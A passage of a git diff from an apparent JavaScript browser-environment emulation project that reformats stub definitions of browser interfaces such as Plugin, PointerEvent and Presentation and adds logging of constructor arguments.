+bodavm.toolsFunc.defineProperty('PermissionStatus', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PermissionStatus', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PermissionStatus', "onchange", { + configurable: true, + enumerable: true, + get: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_get", arguments); + }, + set: function onchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PermissionStatus'].prototype, "PermissionStatus", "onchange_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Permissions.js b/env_xbb_lastest_jsdom/env/Permissions.js index 129af7b6..ac092638 100644 --- a/env_xbb_lastest_jsdom/env/Permissions.js +++ b/env_xbb_lastest_jsdom/env/Permissions.js @@ -1,4 +1,25 @@ -// Permissions对象 -bodavm.memory.globalobj['Permissions'] = function Permissions(){if (!(this instanceof Permissions)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Permissions'], "Permissions"); -bodavm.toolsFunc.defineProperty('Permissions', "query", {configurable:true, enumerable:true, writable:true, value:function query (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Permissions'].prototype, "Permissions", "query", arguments)}},'prototype'); +// Permissions对象 + +bodavm.memory.globalobj['Permissions'] = function Permissions() { + console.log_copy('Permissions 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Permissions)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Permissions'], "Permissions"); +bodavm.toolsFunc.defineProperty('Permissions', "query", { + configurable: true, + enumerable: true, + writable: true, + value: function query() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Permissions'].prototype, "Permissions", "query", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PictureInPictureEvent.js b/env_xbb_lastest_jsdom/env/PictureInPictureEvent.js index 48737f30..2a3f19cb 100644 --- a/env_xbb_lastest_jsdom/env/PictureInPictureEvent.js +++ b/env_xbb_lastest_jsdom/env/PictureInPictureEvent.js @@ -1,6 +1,27 @@ -// PictureInPictureEvent对象 -bodavm.memory.globalobj['PictureInPictureEvent'] = function PictureInPictureEvent(){if (!(this instanceof PictureInPictureEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PictureInPictureEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureEvent'], "PictureInPictureEvent"); -bodavm.memory.globalobj['PictureInPictureEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PictureInPictureEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PictureInPictureEvent', "pictureInPictureWindow", {configurable:true, enumerable:true, get:function pictureInPictureWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureEvent'].prototype, "PictureInPictureEvent", "pictureInPictureWindow_get", arguments)}, set:undefined},'prototype'); +// PictureInPictureEvent对象 + +bodavm.memory.globalobj['PictureInPictureEvent'] = function PictureInPictureEvent() { + console.log_copy('PictureInPictureEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PictureInPictureEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PictureInPictureEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureEvent'], "PictureInPictureEvent"); +bodavm.memory.globalobj['PictureInPictureEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PictureInPictureEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PictureInPictureEvent', "pictureInPictureWindow", { + configurable: true, + enumerable: true, + get: function pictureInPictureWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureEvent'].prototype, "PictureInPictureEvent", "pictureInPictureWindow_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PictureInPictureWindow.js b/env_xbb_lastest_jsdom/env/PictureInPictureWindow.js index 345ce05e..85d3649b 100644 --- a/env_xbb_lastest_jsdom/env/PictureInPictureWindow.js +++ b/env_xbb_lastest_jsdom/env/PictureInPictureWindow.js @@ -1,8 +1,45 @@ -// PictureInPictureWindow对象 -bodavm.memory.globalobj['PictureInPictureWindow'] = function PictureInPictureWindow(){if (!(this instanceof PictureInPictureWindow)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureWindow'], "PictureInPictureWindow"); -bodavm.memory.globalobj['PictureInPictureWindow'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PictureInPictureWindow'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_set", arguments)}},'prototype'); +// PictureInPictureWindow对象 + +bodavm.memory.globalobj['PictureInPictureWindow'] = function PictureInPictureWindow() { + console.log_copy('PictureInPictureWindow 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PictureInPictureWindow)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureWindow'], "PictureInPictureWindow"); +bodavm.memory.globalobj['PictureInPictureWindow'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['PictureInPictureWindow'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "onresize", { + configurable: true, + enumerable: true, + get: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_get", arguments); + }, + set: function onresize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Plugin.js b/env_xbb_lastest_jsdom/env/Plugin.js index e31c6387..d4e1db80 100644 --- a/env_xbb_lastest_jsdom/env/Plugin.js +++ b/env_xbb_lastest_jsdom/env/Plugin.js @@ -1,9 +1,65 @@ -// Plugin对象 -bodavm.memory.globalobj['Plugin'] = function Plugin(){if (!(this instanceof Plugin)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Plugin'], "Plugin"); -bodavm.toolsFunc.defineProperty('Plugin', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "filename", {configurable:true, enumerable:true, get:function filename (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "filename_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "description", {configurable:true, enumerable:true, get:function description (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "description_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Plugin', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "namedItem", arguments)}},'prototype'); +// Plugin对象 + +bodavm.memory.globalobj['Plugin'] = function Plugin() { + console.log_copy('Plugin 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Plugin)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Plugin'], "Plugin"); +bodavm.toolsFunc.defineProperty('Plugin', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "filename", { + configurable: true, + enumerable: true, + get: function filename() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "filename_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "description", { + configurable: true, + enumerable: true, + get: function description() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "description_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Plugin', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Plugin'].prototype, "Plugin", "namedItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PluginArray.js b/env_xbb_lastest_jsdom/env/PluginArray.js index 2151e8fe..517c4e05 100644 --- a/env_xbb_lastest_jsdom/env/PluginArray.js +++ b/env_xbb_lastest_jsdom/env/PluginArray.js @@ -1,7 +1,49 @@ -// PluginArray对象 -bodavm.memory.globalobj['PluginArray'] = function PluginArray(){if (!(this instanceof PluginArray)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PluginArray'], "PluginArray"); -bodavm.toolsFunc.defineProperty('PluginArray', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PluginArray', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PluginArray', "namedItem", {configurable:true, enumerable:true, writable:true, value:function namedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "namedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PluginArray', "refresh", {configurable:true, enumerable:true, writable:true, value:function refresh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "refresh", arguments)}},'prototype'); +// PluginArray对象 + +bodavm.memory.globalobj['PluginArray'] = function PluginArray() { + console.log_copy('PluginArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PluginArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PluginArray'], "PluginArray"); +bodavm.toolsFunc.defineProperty('PluginArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "namedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function namedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "namedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PluginArray', "refresh", { + configurable: true, + enumerable: true, + writable: true, + value: function refresh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PluginArray'].prototype, "PluginArray", "refresh", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PointerEvent.js b/env_xbb_lastest_jsdom/env/PointerEvent.js index 3cc47d09..c5339ad6 100644 --- a/env_xbb_lastest_jsdom/env/PointerEvent.js +++ b/env_xbb_lastest_jsdom/env/PointerEvent.js @@ -1,19 +1,131 @@ -// PointerEvent对象 -bodavm.memory.globalobj['PointerEvent'] = function PointerEvent(){if (!(this instanceof PointerEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PointerEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PointerEvent'], "PointerEvent"); -bodavm.memory.globalobj['PointerEvent'].prototype.__proto__=bodavm.memory.globalobj['MouseEvent'].prototype; -bodavm.memory.globalobj['PointerEvent'].__proto__=bodavm.memory.globalobj['MouseEvent']; -bodavm.toolsFunc.defineProperty('PointerEvent', "pointerId", {configurable:true, enumerable:true, get:function pointerId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "pressure", {configurable:true, enumerable:true, get:function pressure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pressure_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "tiltX", {configurable:true, enumerable:true, get:function tiltX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "tiltY", {configurable:true, enumerable:true, get:function tiltY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "azimuthAngle", {configurable:true, enumerable:true, get:function azimuthAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "azimuthAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "altitudeAngle", {configurable:true, enumerable:true, get:function altitudeAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "altitudeAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "tangentialPressure", {configurable:true, enumerable:true, get:function tangentialPressure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tangentialPressure_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "twist", {configurable:true, enumerable:true, get:function twist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "twist_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "pointerType", {configurable:true, enumerable:true, get:function pointerType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "isPrimary", {configurable:true, enumerable:true, get:function isPrimary (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "isPrimary_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "getCoalescedEvents", {configurable:true, enumerable:true, writable:true, value:function getCoalescedEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getCoalescedEvents", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PointerEvent', "getPredictedEvents", {configurable:true, enumerable:true, writable:true, value:function getPredictedEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getPredictedEvents", arguments)}},'prototype'); +// PointerEvent对象 + +bodavm.memory.globalobj['PointerEvent'] = function PointerEvent() { + console.log_copy('PointerEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PointerEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PointerEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PointerEvent'], "PointerEvent"); +bodavm.memory.globalobj['PointerEvent'].prototype.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype; +bodavm.memory.globalobj['PointerEvent'].__proto__ = bodavm.memory.globalobj['MouseEvent']; +bodavm.toolsFunc.defineProperty('PointerEvent', "pointerId", { + configurable: true, + enumerable: true, + get: function pointerId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "pressure", { + configurable: true, + enumerable: true, + get: function pressure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pressure_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tiltX", { + configurable: true, + enumerable: true, + get: function tiltX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tiltY", { + configurable: true, + enumerable: true, + get: function tiltY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tiltY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "azimuthAngle", { + configurable: true, + enumerable: true, + get: function azimuthAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "azimuthAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "altitudeAngle", { + configurable: true, + enumerable: true, + get: function altitudeAngle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "altitudeAngle_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "tangentialPressure", { + configurable: true, + enumerable: true, + get: function tangentialPressure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "tangentialPressure_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "twist", { + configurable: true, + enumerable: true, + get: function twist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "twist_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "pointerType", { + configurable: true, + enumerable: true, + get: function pointerType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "pointerType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "isPrimary", { + configurable: true, + enumerable: true, + get: function isPrimary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "isPrimary_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "getCoalescedEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function getCoalescedEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getCoalescedEvents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PointerEvent', "getPredictedEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function getPredictedEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PointerEvent'].prototype, "PointerEvent", "getPredictedEvents", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PopStateEvent.js b/env_xbb_lastest_jsdom/env/PopStateEvent.js index 01d7c5ab..8ccbda57 100644 --- a/env_xbb_lastest_jsdom/env/PopStateEvent.js +++ b/env_xbb_lastest_jsdom/env/PopStateEvent.js @@ -1,6 +1,27 @@ -// PopStateEvent对象 -bodavm.memory.globalobj['PopStateEvent'] = function PopStateEvent(){if (!(this instanceof PopStateEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PopStateEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PopStateEvent'], "PopStateEvent"); -bodavm.memory.globalobj['PopStateEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PopStateEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PopStateEvent', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PopStateEvent'].prototype, "PopStateEvent", "state_get", arguments)}, set:undefined},'prototype'); +// PopStateEvent对象 + +bodavm.memory.globalobj['PopStateEvent'] = function PopStateEvent() { + console.log_copy('PopStateEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PopStateEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PopStateEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PopStateEvent'], "PopStateEvent"); +bodavm.memory.globalobj['PopStateEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['PopStateEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('PopStateEvent', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PopStateEvent'].prototype, "PopStateEvent", "state_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Presentation.js b/env_xbb_lastest_jsdom/env/Presentation.js index bfa6a3c7..02500685 100644 --- a/env_xbb_lastest_jsdom/env/Presentation.js +++ b/env_xbb_lastest_jsdom/env/Presentation.js @@ -1,5 +1,35 @@ -// Presentation对象 -bodavm.memory.globalobj['Presentation'] = function Presentation(){if (!(this instanceof Presentation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Presentation'], "Presentation"); -bodavm.toolsFunc.defineProperty('Presentation', "defaultRequest", {configurable:true, enumerable:true, get:function defaultRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_get", arguments)}, set:function defaultRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Presentation', "receiver", {configurable:true, enumerable:true, get:function receiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "receiver_get", arguments)}, set:undefined},'prototype'); +// Presentation对象 + +bodavm.memory.globalobj['Presentation'] = function Presentation() { + console.log_copy('Presentation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Presentation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Presentation'], "Presentation"); +bodavm.toolsFunc.defineProperty('Presentation', "defaultRequest", { + configurable: true, + enumerable: true, + get: function defaultRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_get", arguments); + }, + set: function defaultRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Presentation', "receiver", { + configurable: true, + enumerable: true, + get: function receiver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "receiver_get", arguments); + }, + set: 